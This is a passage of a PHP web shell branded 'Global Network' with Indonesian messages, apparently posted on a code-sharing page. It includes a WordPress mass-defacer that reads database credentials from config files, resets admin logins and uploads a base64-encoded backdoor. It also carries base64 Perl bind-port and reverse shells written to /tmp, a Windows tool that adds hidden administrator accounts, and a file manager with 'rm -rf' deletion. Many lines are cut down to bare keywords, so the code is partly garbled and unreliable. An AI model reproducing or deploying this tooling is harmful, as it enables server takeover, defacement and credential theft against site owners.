2209. "rememberme" => "forever",
2210. "wp-submit" => "$wp_submit",
2211. "redirect_to" => "$web",
2212. "testcookie" => "1",
2213. );
2214. $ch = curl_init($cek);
2215. curl_setopt
2216. curl_setopt
2217. curl_setopt
2218. curl_setopt
2219. curl_setopt
2220. curl_setopt
2221. curl_setopt
2222. curl_setopt
2223. curl_setopt
2224. curl_setopt
2225. $data = curl_exec($ch);
2226. curl_close
2227. return
2228. }
2229. $scan = $_POST['link_config'];
2230. $link_config = scandir($scan);
2231. $script = htmlspecialchars($_POST['script']);
2232. $user = "global";
2233. $pass = "global";
2234. $passx = md5($pass);
2235. foreach
2236. if
2237. $config = file_get_contents("$scan/$dir_config");
2238. if
2239. $dbhost = ambilkata($config,"DB_HOST', '","'");
2240. $dbuser = ambilkata($config,"DB_USER', '","'");
2241. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2242. $dbname = ambilkata($config,"DB_NAME', '","'");
2243. $dbprefix = ambilkata($config,"table_prefix = '","'");
2244. $prefix = $dbprefix."users";
2245. $option = $dbprefix."options";
2246. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2247. $db = mysql_select_db($dbname);
2248. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
2249. $result = mysql_fetch_array($q);
2250. $id = $result[ID];
2251. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2252. $result2 = mysql_fetch_array($q2);
2253. $target = $result2[option_value];
2254. if
2255. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>"
2256. } else {
2257. echo "[+] $target <br>"
2258. }
2259. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
2260. if
2261. echo "[-] MySQL Error: <font color=red>" .mysql_error
2262. mysql_close
2263. } else {
2264. $site = "$target/wp-login.php";
2265. $site2 = "$target/wp-admin/theme-install.php?upload";
2266. $b1 = anucurl($site2);
2267. $wp_sub = ambilkata($b1, "id="wp-submit" class="button button-primary button-large" value="","" />");
2268. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
2269. $anu2 = ambilkata($b,"name="_wpnonce" value="","" />");
2270. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
2271. $www = "m.php";
2272. $fp5 = fopen($www,"w");
2273. fputs
2274. $post2 = array(
2275. "_wpnonce" => "$anu2",
2276. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
2277. "themezip" => "@$www",
2278. "install-theme-submit" => "Install Now",
2279. );
2280. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
2281. curl_setopt
2282. curl_setopt
2283. curl_setopt
2284. curl_setopt
2285. curl_setopt
2286. curl_setopt
2287. curl_setopt
2288. curl_setopt
2289. curl_setopt
2290. $data3 = curl_exec($ch);
2291. curl_close
2292. $y = date("Y");
2293. $m = date("m");
2294. $namafile = "id.php";
2295. $fpi = fopen($namafile,"w");
2296. fputs
2297. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
2298. curl_setopt
2299. curl_setopt
2300. curl_setopt
2301. curl_setopt
2302. curl_setopt
2303. curl_setopt
2304. $postResult = curl_exec($ch6);
2305. curl_close
2306. $as = "$target/k.php";
2307. $bs = anucurl($as);
2308. if
2309. echo "[+] <font color='lime'>berhasil mepes...</font><br>"
2310. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>"
2311. } else {
2312. echo "[-] <font color='red'>gagal mepes...</font><br>"
2313. echo "[!!] coba aja manual: <br>"
2314. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>"
2315. echo "[+] username: <font color=lime>$user</font><br>"
2316. echo "[+] password: <font color=lime>$pass</font><br><br>"
2317. }
2318. mysql_close
2319. }
2320. }
2321. }
2322. } else {
2323. echo
2324. <form method='post'>
2325. <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
2326. <input type='text' name='script' height='10' size='50' placeholder='Hacked by global network' required><br>
2327. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
2328. </form>
2329. <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
2330. </center>";
2331. }
2332. } elseif($_GET['do'] == 'network') {
2333. echo
2334. <u>Bind Port:</u> <br>
2335. PORT
2336. <input type='submit' name='sub_bp' value='>>'>
2337. </form>
2338. <form method='post'>
2339. <u>Back Connect:</u> <br>
2340. Server
2341. PORT
2342. <input type='submit' name='sub_bc' value='>>'>
2343. </form>";
2344. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2345. if
2346. $f_bp = fopen("/tmp/bp.pl", "w");
2347. fwrite
2348. fclose
2350. $port = $_POST['port_bind'];
2351. $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
2352. sleep
2353. echo "<pre>" .
2354. unlink
2355. }
2356. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2357. if
2358. $f_bc = fopen("/tmp/bc.pl", "w");
2359. fwrite
2360. fclose
2362. $ipbc = $_POST['ip_bc'];
2363. $port = $_POST['port_bc'];
2364. $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
2365. sleep
2366. echo "<pre>" .
2367. unlink
2368. }
2369. } elseif($_GET['do'] == 'krdp_shell') {
2370. if
2371. if
2372. $user = htmlspecialchars($_POST['user']);
2373. $pass = htmlspecialchars($_POST['pass']);
2374. if
2375. echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>"
2376. } else {
2377. $add_user = exe("net user $user $pass /add");
2378. $add_groups1 = exe("net localgroup Administrators $user /add");
2379. $add_groups2 = exe("net localgroup Administrator $user /add");
2380. $add_groups3 = exe("net localgroup Administrateur $user /add");
2381. echo
2382. ------------------------------<br>
2383. ip
2384. Username
2385. password
2386. ------------------------------<br><br>
2387. [ STATUS ]<br>
2388. ------------------------------<br>
2389. ";
2390. if
2391. echo "[add user] -> <font color='lime'>Berhasil</font><br>"
2392. } else {
2393. echo "[add user] -> <font color='red'>Gagal</font><br>"
2394. }
2395. if
2396. echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>"
2397. } elseif($add_groups2) {
2398. echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>"
2399. } elseif($add_groups3) {
2400. echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>"
2401. } else {
2402. echo "[add localgroup] -> <font color='red'>Gagal</font><br>"
2403. }
2404. echo "------------------------------<br>"
2405. }
2406. } elseif($_POST['s_opsi']) {
2407. $user = htmlspecialchars($_POST['r_user']);
2408. if
2409. $cek = exe("net user $user");
2410. echo "Checking username <font color=lime>$user</font> ....... "
2411. if
2412. echo
2413. ------------------------------<br><br>
2414. <pre>$cek</pre>";
2415. } else {
2416. echo "[ <font color=red>belum ada</font> ]"
2417. }
2418. } elseif($_POST['opsi'] == '2') {
2419. $cek = exe("net user $user global");
2420. if
2421. echo "[change password: <font color=lime>global</font>] -> "
2422. if
2423. echo "<font color=lime>Berhasil</font>"
2424. } else {
2425. echo "<font color=red>Gagal</font>"
2426. }
2427. } else {
2428. echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>"
2429. }
2430. } elseif($_POST['opsi'] == '3') {
2431. $cek = exe("net user $user /DELETE");
2432. if
2433. echo "[remove user: <font color=lime>$user</font>] -> "
2434. if
2435. echo "<font color=lime>Berhasil</font>"
2436. } else {
2437. echo "<font color=red>Gagal</font>"
2438. }
2439. } else {
2440. echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>"
2441. }
2442. } else {
2443. //
2444. }
2445. } else {
2446. echo
2447. <form method='post'>
2448. <input type='text' name='user' placeholder='username' value='global' required>
2449. <input type='text' name='pass' placeholder='password' value='global' required>
2450. <input type='submit' name='create' value='>>'>
2451. </form>
2452. -- Option --<br>
2453. <form method='post'>
2454. <input type='text' name='r_user' placeholder='username' required>
2455. <select name='opsi'>
2456. <option value='1'>Cek Username</option>
2457. <option value='2'>Ubah Password</option>
2458. <option value='3'>Hapus Username</option>
2459. </select>
2460. <input type='submit' name='s_opsi' value='>>'>
2461. </form>
2462. ";
2463. }
2464. } else {
2465. echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>"
2466. }
2467. } elseif($_GET['act'] == 'newfile') {
2468. if
2469. $newfile = htmlspecialchars($_POST['newfile']);
2470. $fopen = fopen($newfile, "a+");
2471. if
2472. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
2473. } else {
2474. $act = "<font color=red>permission denied</font>";
2475. }
2476. }
2477. echo
2478. echo
2479. Filename
2480. <input type='submit' name='new_save_file' value='Submit'>
2481. </form>";
2482. } elseif($_GET['act'] == 'newfolder') {
2483. if
2484. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
2485. if
2486. $act = "<font color=red>permission denied</font>";
2487. } else {
2488. $act = "<script>window.location='?dir=".$dir."';</script>";
2489. }
2490. }
2491. echo
2492. echo
2493. Folder Name
2494. <input type='submit' name='new_save_folder' value='Submit'>
2495. </form>";
2496. } elseif($_GET['act'] == 'rename_dir') {
2497. if
2498. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
2499. if
2500. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
2501. } else {
2502. $act = "<font color=red>permission denied</font>";
2503. }
2504. echo "" .
2505. }
2506. echo
2507. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
2508. <input type='submit' name='dir_rename' value='rename'>
2509. </form>";
2510. } elseif($_GET['act'] == 'delete_dir') {
2511. if
2512. if
2513. @rmdir($dir);
2514. @exe("rm -rf $dir");
2515. @exe("rmdir /s /q $dir");
2516. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
2517. } else {
2518. $act = "<font color=red>could not remove ".basename($dir)."</font>";
2519. }
2520. }
2521. echo
2522. } elseif($_GET['act'] == 'view') {
2523. echo "Filename: <font color=lime>" .basename
2524. echo "<textarea readonly>" .htmlspecialchars
2525. } elseif($_GET['act'] == 'edit') {
2526. if
2527. $save = file_put_contents($_GET['file'], $_POST['src']);
2528. if
2529. $act = "<font color=lime>Saved!</font>";
2530. } else {
2531. $act = "<font color=red>permission denied</font>";
2532. }
2533. echo "" .
2534. }
2535. echo "Filename: <font color=lime>" .basename
2536. echo
2537. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
2538. <input type='submit' value='Save' name='save' style='width: 500px;'>
2539. </form>";
2540. } elseif($_GET['act'] == 'rename') {
2541. if
2542. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
2543. if
2544. $act = "<script>window.location='?dir=".$dir."';</script>";
2545. } else {
2546. $act = "<font color=red>permission denied</font>";
2547. }
2548. echo "" .
2549. }
2550. echo "Filename: <font color=lime>" .basename
2551. echo
2552. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
2553. <input type='submit' name='do_rename' value='rename'>
2554. </form>";
2555. } elseif($_GET['act'] == 'delete') {
2556. $delete = unlink($_GET['file']);
2557. if
2558. $act = "<script>window.location='?dir=".$dir."';</script>";
2559. } else {
2560. $act = "<font color=red>permission denied</font>";
2561. }
2562. echo
2563. } else {
2564. if
2565. if
2566. echo "<font color=red>can't open directory. ( not readable )</font>"
2567. } else {
2568. echo
2569. <tr>
2570. <th class="th_home"><center>Name</center></th>
2571. <th class="th_home"><center>Type</center></th>
2572. <th class="th_home"><center>Size</center></th>
2573. <th class="th_home"><center>Last Modified</center></th>
2574. <th class="th_home"><center>Owner/Group</center></th>
2575. <th class="th_home"><center>Permission</center></th>
2576. <th class="th_home"><center>Action</center></th>
2577. </tr>';
2578. $scandir = scandir($dir);
2579. foreach
2580. $dtype = filetype("$dir/$dirx");
2581. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
2582. if
2583. $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
2584. $downer = $downer['name'];
2585. } else {
2586. //$downer = $uid;
2587. $downer = fileowner("$dir/$dirx");
2588. }
2589. if
2590. $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
2591. $dgrp = $dgrp['name'];
2592. } else {
2593. $dgrp = filegroup("$dir/$dirx");
2594. }
2595. if
2596. if
2597. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
2598. } elseif($dirx === '.') {
2599. $href = "<a href='?dir=$dir'>$dirx</a>";
2600. } else {
2601. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
2602. }
2603. if
2604. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
2605. } else {
2606. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
2607. }
2608. echo "<tr>"
2609. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA" . "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
2610. echo "<td class='td_home'><center>$dtype</center></td>"
2611. echo "<td class='td_home'><center>-</center></th></td>"
2612. echo "<td class='td_home'><center>$dtime</center></td>"
2613. echo "<td class='td_home'><center>$downer/$dgrp</center></td>"
2614. echo "<td class='td_home'><center>" .w
2615. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>"
2616. echo "</tr>"
2617. }
2618. }
2619. } else {
2620. echo "<font color=red>can't open directory.</font>"
2621. }
2622. foreach
2623. $ftype = filetype("$dir/$file");
2624. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
2625. $size = filesize("$dir/$file")/1024;
2626. $size = round($size,3);
2627. if
2628. $fowner = @posix_getpwuid(fileowner("$dir/$file"));
2629. $fowner = $fowner['name'];
2630. } else {
2631. //$downer = $uid;
2632. $fowner = fileowner("$dir/$file");
2633. }
2634. if
2635. $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
2636. $fgrp = $fgrp['name'];
2637. } else {
2638. $fgrp = filegroup("$dir/$file");
2639. }
2640. if
2641. $size = round($size/1024,2). 'MB';
2642. } else {
2643. $size = $size. 'KB';
2644. }
2645. if
2646. echo "<tr>"
2647. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>" ;
2648. echo "<td class='td_home'><center>$ftype</center></td>"
2649. echo "<td class='td_home'><center>$size</center></td>"
2650. echo "<td class='td_home'><center>$ftime</center></td>"
2651. echo "<td class='td_home'><center>$fowner/$fgrp</center></td>"
2652. echo "<td class='td_home'><center>" .w
2653. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>"
2654. echo "</tr>"
2655. }
2656. echo "</table>"
2657. if
2658. //
2659. } else {
2660. echo "<hr>"
2661. }
2662. echo "<center>Copyright © " .date ("Y")." - <a href='https://globals-network.blogspot.com/' target='_blank'><font color=lime>Global Network</font></a></center>";
2663. }
2664. ?>
2665. </html>
Erweitern

Kommentare

Es gibt noch keine Kommentare. Schreibe jetzt den Ersten!

Kommentieren

Melde dich an um einen Kommentar zu schreiben.